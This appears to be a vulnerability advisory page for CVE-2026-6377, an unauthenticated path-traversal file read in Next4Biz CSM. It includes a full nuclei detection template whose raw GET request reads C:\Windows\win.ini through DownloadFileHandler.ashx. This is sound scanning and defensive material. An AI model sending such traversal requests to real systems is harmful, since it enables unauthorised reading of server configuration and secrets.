Next4Biz CSM - Arbitrary File Read via DownloadFileHandler

highseverity

8.6CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Next4Biz CSM exposes the DownloadFileHandler.ashx endpoint, whose file parameter is passed to a path helper that never confirms the resolved path stays inside the upload directory before the file is streamed back. Because Path.Combine returns an absolute second argument verbatim, an unauthenticated attacker can supply an absolute Windows path and read any file the IIS application pool identity can open.

Impact

Unauthenticated attackers can read arbitrary files from the server, including application configuration and secrets, which can lead to further compromise.

Fix

Update to the vendor-provided fixed release.

How to confirm it

Send: GET /Handlers/DownloadFileHandler.ashx?file=C:\Windows\win.ini
Positive when: status 200 AND contains "[fonts]" and "[extensions]" and "[mci extensions]" AND contains in header "filename=win.ini"

Run it with nuclei: nuclei -id CVE-2026-6377 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-6377

info:
  name: Next4Biz CSM - Arbitrary File Read via DownloadFileHandler
  author: 1dayexploit
  severity: high
  description: |
    Next4Biz CSM exposes the DownloadFileHandler.ashx endpoint, whose file parameter is passed to a path helper that never confirms the resolved path stays inside the upload directory before the file is streamed back. Because Path.Combine returns an absolute second argument verbatim, an unauthenticated attacker can supply an absolute Windows path and read any file the IIS application pool identity can open.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server, including application configuration and secrets, which can lead to further compromise.
  remediation: |
    Update to the vendor-provided fixed release.
  reference:
    - https://1dayexploit.com/blog/cve-2026-6377-next4biz-csm-path-traversal/
    - https://github.com/1dayexploit/advisories/tree/main/advisories/cve-2026-6377-next4biz-csm-path-traversal
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-6377
    epss-score: 0.01761
    epss-percentile: 0.78193
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: next4biz
    product: csm
  tags: cve,cve2026,next4biz,fileread,traversal

http:
  - raw:
      - |
        GET /Handlers/DownloadFileHandler.ashx?file=C:\Windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "[fonts]"
          - "[extensions]"
          - "[mci extensions]"
        condition: and

      - type: word
        part: header
        words:
          - "filename=win.ini"

References

Use this check only on systems you are authorised to test. Where the data comes from